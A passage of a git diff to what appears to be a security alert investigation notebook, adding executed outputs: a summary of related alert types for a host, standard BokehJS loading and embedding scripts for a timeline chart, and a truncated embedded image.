+ }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Found 7 different alert types related to this host ('MSTICALERTSWIN1')\n", + " KillChainFusionIncident, Count of alerts: 5\n", + " SCUBA_PROCESSNAMESIMILARITY, Count of alerts: 2\n", + " SCUBA_RULE_Applocker_Bypass, Count of alerts: 4\n", + " SCUBA_RULE_DigitalCurrencyMiningTool, Count of alerts: 2\n", + " SCUBA_RULE_Lowering_Security_Settings, Count of alerts: 2\n", + " SCUBA_RULE_Telegram_install, Count of alerts: 2\n", + " SuspiciousSystemProcess, Count of alerts: 2\n", + "No alerts for account entity 'MSTICAlertsWin1\\MSTICAdmin'\n", + "No alerts for process entity 'c:\\w!ndows\\system32\\tsetup.1.exe'\n" + ] + }, + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1313\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1313\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = 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Alerts\"},\"id\":\"1317\",\"type\":\"Title\"},{\"attributes\":{\"axis\":{\"id\":\"1331\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1334\",\"type\":\"Grid\"},{\"attributes\":{\"axis\":{\"id\":\"1327\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1330\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1394\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1332\",\"type\":\"BasicTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1387\"},\"ticker\":{\"id\":\"1332\"},\"visible\":false},\"id\":\"1331\",\"type\":\"LinearAxis\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"1372\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1372\"}]},\"id\":\"1363\",\"type\":\"Toolbar\"}],\"root_ids\":[\"1384\"]},\"title\":\"Bokeh Application\",\"version\":\"2.1.1\"}};\n", + " var render_items = [{\"docid\":\"39b1b15e-cdd7-4155-94b6-e29c7d96000d\",\"root_ids\":[\"1384\"],\"roots\":{\"1384\":\"eba8ed06-ea97-4451-99df-d41a2e5785fa\"}}];\n", + " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", + "\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " embed_document(root);\n", + " } else {\n", + " var attempts = 0;\n", + " var timer = setInterval(function(root) {\n", + " if (root.Bokeh !== undefined) {\n", + " clearInterval(timer);\n", + " embed_document(root);\n", + " } else {\n", + " attempts++;\n", + " if (attempts > 100) {\n", + " clearInterval(timer);\n", + " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", + " }\n", + " }\n", + " }, 10, root)\n", + " }\n", + "})(window);" + ], + "application/vnd.bokehjs_exec.v0+json": "" + }, + "metadata": { + "application/vnd.bokehjs_exec.v0+json": { + "id": "1384" + } + }, + "output_type": "display_data" + } + ], "source": [ "if not security_alert.primary_host:\n", " md_warn('Related alerts is not yet supported for alerts that are not host-based')\n", @@ -409,14 +2191,25 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 12, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:57.587177Z", "start_time": "2020-05-16T02:14:57.110178Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "image/png": 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